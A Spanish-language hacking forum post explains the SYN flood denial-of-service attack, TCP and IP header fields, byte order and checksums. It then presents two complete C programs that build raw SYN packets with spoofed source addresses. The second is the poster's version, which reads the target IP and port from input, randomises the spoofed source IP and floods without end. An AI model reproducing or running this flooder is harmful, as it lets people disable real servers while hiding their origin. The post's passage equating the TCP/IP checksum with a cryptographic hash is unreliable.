(SYN Flood) Resumen de internet + SOURCE C++

Iniciado por Solid Water, Julio 03, 2019, 07:13:30 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 03, 2019, 07:13:30 PM Ultima modificación: Julio 04, 2019, 11:19:59 AM por Solid Water
Después veré de dejar el post mas bonito ahora no tengo tiempo, vengo a velocidades sobre humanas.
Bueno resulta que el siguiente post del foro:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

me motivo a estudiar SYN Flood.
Por lo que para leer este post primero te conviene leer ese.

Conseguí un code pero mi misión era comprenderlo por completo o a grandes razgos.
Por eso hice un rejunte de manuales, los resumí y por último modifiqué el código y lo probé.
Acá les dejo el fruto de la investigación aporten lo que quieran.




A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic


Normally when a client attempts to start a TCP connection to a server, the client and server exchange a series of messages which normally runs like this:

The client requests a connection by sending a SYN (synchronize) message to the server.

The server acknowledges this request by sending SYN-ACK back to the client.

The client responds with an ACK, and the connection is established.

This is called the TCP three-way handshake, and is the foundation for every connection established using the TCP protocol.


SYN Flood: The attacker sends several packets but does not send the "ACK" back to the server. The connections are hence half-opened and consuming server resources. Alice, a legitimate user, tries to connect but the server refuses to open a connection resulting in a denial of service.






Debajo dejaremos el código completo que realiza SYN flood desde el/los IPs que queramos (Engañando así al servidor), pero antes tomaremos conocimientos que nos ayudaran a entender el código

Cuando enviamos los datos a traves de internet para realizar la conexión ya sea que enviemos un SYN o un ACK o lo que fuese, se envía un tcp header y un ip header.




TCP header:




TCP segments are sent as internet datagrams.
The Internet Protocol header carries several information fields, including the source and destination host addresses. A TCP header follows the internet header, supplying information specific to the TCP protocol.
TCP Header Format

Each TCP header has ten required fields totaling 20 bytes (160 bits) in size. They can also optionally include an additional data section up to 40 bytes in size.

TCP headers appear in the following sequence:

Source TCP port number (2 bytes)

Destination TCP port number (2 bytes)

Sequence number (4 bytes)

Acknowledgment number (4 bytes)

TCP data offset (4 bits)

Reserved data (3 bits)

Control flags (up to 9 bits)

Window size (2 bytes)

TCP checksum (2 bytes)

Urgent pointer (2 bytes)

TCP optional data (0-40 bytes)

The headers supply specific information:

Source and destination TCP port numbers are the communication endpoints for sending and receiving devices.

Message senders use sequence numbers to mark the ordering of a group of messages. Both senders and receivers use the acknowledgment numbers field to communicate the sequence numbers of messages that are either recently received or expected to be sent.

Además los números de sequencia comienzan con un número aleatorio que sirve para identificar la conexion y que otra persona no pueda falsificar nuestra identidad haciendole creer que la conexion es con el y no con nosotros.

(Para hacerse pasar por un cliente en una conexión establecida, el atacante debe enviar segmentos TCP al proceso servidor con la IP del cliente, el puerto del cliente (no son dificiles de obtener) pero también el número de secuencia del cliente, el cual no es sencillo de obtener si el cliente utiliza un número de secuencia aleatorio cada vez que comienza una conexión.

The data offset field stores the total size of a TCP header in multiples of four bytes. A header not using the optional TCP field has a data offset of 5 (representing 20 bytes), while a header using the maximum-sized optional field has a data offset of 15 (representing 60 bytes).

Reserved data in TCP headers always has a value of zero. This field serves the purpose of aligning the total header size as a multiple of four bytes (important for the efficiency of computer data processing).

TCP uses a set of six standard and three extended control flags (each an individual bit representing on or off) to manage data flow in specific situations. One bit flag, for example, initiates TCP connection reset logic.

En la cabecera de los paquetes de TCP hay 6 flags de 1 bit, es decir, que pueden valer ó 0 ó 1 según estén desactivadas o activadas: estas banderas son SYN, ACK, RST, PSH, URG y FIN

SYN - The SYN, or Synchronisation flag, is used as a first step in establishing a 3-way handshake between two hosts. Only the first packet from both the sender and receiver should have this flag set. The following diagram illustrates a 3-way handshake process.
ACK - The ACK flag, which stands for "Acknowledgment", is used to acknowledge the successful receipt of a packet. As we can see from the diagram above, the receiver sends an ACK as well as a SYN in the second step of the 3-way handshake process to tell the sender that it received its initial packet.
FIN - The FIN flag, which stands for "Finished", means there is no more data from the sender. Therefore, it is used in the last packet sent from the sender.
URG - The URG flag is used to notify the receiver to process the urgent packets before processing all other packets. The receiver will be notified when all known urgent data has been received. See RFC 6093 for more details.
PSH - The PSH flag, which stands for "Push", is somewhat similar to the URG flag and tells the receiver to process these packets as they are received instead of buffering them.
RST - The RST flag, which stands for "Reset", gets sent from the receiver to the sender when a packet is sent to a particular host that was not expecting it.
ECE - This flag is responsible for indicating if the TCP peer is ECN capable. See RFC 3168 for more details.
CWR - The CWR flag, which stands for Congestion Window Reduced, is used by the sending host to indicate it received a packet with the ECE flag set. See RFC 3168 for more details.
NS (experimental) - The NS flag, which stands for Nonce Sum, is still an experimental flag used to help protect against accidental malicious concealment of packets from the sender. See RFC 3540 for more details.
TCP senders use a number called window size to regulate how much data they send to a receiver before requiring an acknowledgment in return. If the window size becomes too small, network data transfer will be unnecessarily slow, while if the window size becomes too large, the network link can become saturated (unusable for any other applications) or the receiver may not be able to process incoming data quickly enough (also resulting in slow performance). Windowing algorithms built into the protocol dynamically calculate size values and use this field of TCP headers to coordinate changes between senders and receivers.

The checksum value inside a TCP header is generated by the protocol sender as a mathematical technique to help the receiver detect messages that are corrupted or tampered with.

The urgent pointer field is often set to zero and ignored, but in conjunction with one of the control flags, it can be used as a data offset to mark a subset of a message as requiring priority processing.

Usages of optional TCP data include support for special acknowledgment and window scaling algorithms.





IP header:



The fields in the IP header and their descriptions are

Version - A 4-bit field that identifies the IP version being used. The current version is 4, and this version is referred to as IPv4.
Length - A 4-bit field containing the length of the IP header in 32-bit increments. The minimum length of an IP header is 20 bytes, or five 32-bit increments. The maximum length of an IP header is 24 bytes, or six 32-bit increments. Therefore, the header length field should contain either 5 or 6.
Type of Service (ToS) - The 8-bit ToS uses 3 bits for IP Precedence, 4 bits for ToS with the last bit not being used. The 4-bit ToS field, although defined, has never been used.
IP Precedence - A 3-bit field used to identify the level of service a packet receives in the network.
Differentiated Services Code Point (DSCP) - A 6-bit field used to identify the level of service a packet receives in the network. DSCP is a 3-bit expansion of IP precedence with the elimination of the ToS bits.
Total Length - Specifies the length of the IP packet that includes the IP header and the user data. The length field is 2 bytes, so the maximum size of an IP packet is 216 – 1 or 65,535 bytes.
Identifier, Flags, and Fragment Offset - As an IP packet moves through the Internet, it might need to cross a route that cannot handle the size of the packet. The packet will be divided, or fragmented, into smaller packets and reassembled later. These fields are used to fragment and reassemble packets.
Time to Live (TTL) - It is possible for an IP packet to roam aimlessly around the Internet. If there is a routing problem or a routing loop, then you don't want packets to be forwarded forever. A routing loop is when a packet is continually routed through the same routers over and over. The TTL field is initially set to a number and decremented by every router that is passed through. When TTL reaches 0 the packet is discarded.
Protocol - In the layered protocol model, the layer that determines which application the data is from or which application the data is for is indicated using the Protocol field. This field does not identify the application, but identifies a protocol that sits above the IP layer that is used for application identification.
Header Checksum - A value calculated based on the contents of the IP header. Used to determine if any errors have been introduced during transmission.
Source IP Address - 32-bit IP address of the sender.
Destination IP Address - 32-bit IP address of the intended recipient.
Options and Padding - A field that varies in length from 0 to a multiple of 32-bits. If the option values are not a multiple of 32-bits, 0s are added or padded to ensure this field contains a multiple of 32 bits.


The ToS bits were originally designed to influence the delivery of data based on delay, throughput, reliability and cost. (See Table 3-10.) They are usually not used and are therefore set to zero.



The IP Precedence field can be used to prioritize IP traffic. (See Table 3-9.) This is the same as the postal system having different classes of mail such as priority, overnight, and 2-day delivery. Routers can choose to use this field to give preferential treatment to certain types of IP traffic.





Pero qué es eso de htons que veremos en el código?
The htons function converts a u_short (unsigned short) from host to TCP/IP network byte order (which is big-endian).

No se debe confundir trivialmente el orden de escritura textual en este artículo con el orden de escritura en memoria, por ello establecemos que lo que escribimos primero lleva índices de memoria más bajos, y lo que escribimos a continuación lleva índices más elevados, que lo que lleva índices bajos es previo en memoria, y así sucesivamente, siguiendo la ordenación natural de menor a mayor, por ejemplo la secuencia {0,1,2} indicaría, -algo más allá de la intuición- que 0 es previo y contiguo en el espacio de memoria a 1, etc.

Usando este criterio el sistema big-endian adoptado por Motorola entre otros, consiste en representar los bytes en el orden "natural": así el valor hexadecimal 0x4A3B2C1D se codificaría en memoria en la secuencia {4A, 3B, 2C, 1D}. En el sistema little-endian adoptado por Intel, entre otros, el mismo valor se codificaría como {1D, 2C, 3B, 4A}, de manera que de este modo se hace más intuitivo el acceso a datos, porque se efectúa fácilmente de manera incremental de menos relevante a más relevante (siempre se opera con incrementos de contador en la memoria), en un paralelismo a "lo importante no es como empiezan las cosas, sino como acaban."

Algunas arquitecturas de microprocesador pueden trabajar con ambos formatos (ARM, PowerPC, DEC Alpha, PA-RISC, Arquitectura MIPS), y a veces son denominadas sistemas middle-endian.




También vemos que uno de los datos de los headers son el checksum y que nuestro código C++ lo calcula

Una suma de verificación, (también llamada suma de chequeo o checksum), en telecomunicación e informática, es una función hash que tiene como propósito principal detectar cambios accidentales en una secuencia de datos para proteger la integridad de estos, verificando que no haya discrepancias entre los valores obtenidos al hacer una comprobación inicial y otra final tras la transmisión. La idea es que se transmita el dato junto con su valor hash, de esta forma el receptor puede calcular dicho valor y compararlo así con el valor hash recibido. Si hay una discrepancia se pueden rechazar los datos o pedir una retransmisión.

Esto es empleado para comunicaciones (Internet, comunicación de dispositivos, etc.) y almacenamiento de datos (archivos comprimidos, discos portátiles, etc.).

Un checksum, o suma de comprobación, es el resultado de la ejecución de un algoritmo dentro de un archivo único, función denominada Cryptographic hash function. Comparar el checksum que generas desde tu versión del archivo, junto al provisto por la fuente del mismo, representa una ayuda para asegurarte una copia genuina y libre de errores.

Comencemos con un ejemplo simple, buscando exhibir el poder que los checksums tienen para probar que algo ha cambiado: el checksum MD5 para la frase "this is a test" o "esto es una prueba" es 120EA8A25E5D487BF68B5F7096440019. Se trata de una larga cadena de caracteres representando dicha oración.

Para cumplir con nuestro propósito, esencialmente ellos se igualan los unos a los otros. Sin embargo, efectuar un pequeño cambio, como ser el borrado de un punto, producirá un checksum completamente diferente de CE114E4501D2F4E2DCEA3E17B546F339.

Como puedes observar, incluso un cambio minúsculo en el archivo producirá un notable cambio en el checksum, dejando bien en claro que no existen dos iguales.



Ahora ya contamos con los conocimientos suficientes para comprender el código que encontré

Código: c++

#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h>  //Provides declarations for ip header

struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;

        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }

        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}

int main (void)
{
        //Create a raw socket
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096] , source_ip[32];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
       
        strcpy(source_ip , "192.168.1.2"); //IP Origen

        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); //IP Destino
       
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        //Now the IP checksum
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
       
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL. Error number : %d .
                         Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        //Uncommend the loop if you want to flood
        //while (1)
        //{
                //Send the packet
                if (sendto (s,  /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }
                //Data send successfully
                else
                {
                        printf ("Packet Send \n");
                }
        //}
       
        return 0;
}


                 
En mi caso voy a hacerle algunas modificaciones como agregarle el ingreso de ip de origen; destino y puerto de destino por teclado, agregar una funcion rand para que el ip de origen cambie solo (ingresando por teclado "rand" como ip origen) además que el código anterior creo que no compilaba por que le faltaba una biblioteca no se si lo hicieron a modo de hint:

Código: c++

/*
        Syn Flood DOS with LINUX sockets
*/
#include <stdio.h>
#include <string.h> //memset
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h>        //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h>


struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;

        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }

        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}

int main (void)
{
        //Create a raw socket
        int sock; // = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        char source_ip[32];
        char source_ip_fake[32];
        char dest_ip[32];
        int dest_port;
        int rand_ip1, rand_ip2, rand_ip3, rand_ip4;
        unsigned long long int cantidad = 1;
       

        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
        printf("error creando socket");
        exit(1);
    }
       
        printf("Ingrese la IP de origen: (ex: 200.190.30.40)\n");
        printf("si quiere que cambie sola ingrese \"rand\") \n");
        scanf( "%s" , source_ip );
        strcpy(source_ip_fake, source_ip);

        printf("Ingrese la IP de destino: (ex: 200.190.30.40) \n");
       
        scanf( "%s" , dest_ip );
       
        printf("Ingrese puerto de destino: \n");
        scanf( "%d" , &dest_port );
       
       

        sin.sin_family = AF_INET;
        sin.sin_port = htons(dest_port);
       
       
        while(1){
       
        if(strcmp(source_ip_fake,"rand")==0){
                rand_ip1 = rand() % 180 + 1;
                rand_ip2 = rand() % 180 + 1;
                rand_ip3 = rand() % 180 + 1;
                rand_ip4 = rand() % 180 + 1;
               
                sprintf(source_ip, "%d.%d.%d.%d", rand_ip1, rand_ip2, rand_ip3, rand_ip4 );
        }
       
        sin.sin_addr.s_addr = inet_addr (dest_ip); //IP Destino
       
       


        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234); //source port
        tcph->dest = htons (dest_port); //destination port
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
       
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
       
       
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL.");
                printf ("Error number : %d . Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        printf("Will start the flood to %s:%d \n", dest_ip, dest_port);
        printf("From %s \n", source_ip);
       
               

                tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

               
               
                //Send the packet
                if (sendto (sock,       /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }//Data send successfully
                else
                {
                        printf ("%d Packet Send ! \n", cantidad);
                        cantidad++;
                       
                }
       
        }
        return 0;
}


Para que funcione debe ejecutarse con privilegios de administrador.
Con wireshark podremos comprobar que se envían correctamente y que el servidor nos envía la respuesta (si el ip de origen es nuestro ip real).

Saludos,

Gracias por compartir ! :D




Con la fuerza del mar, con la paz del rio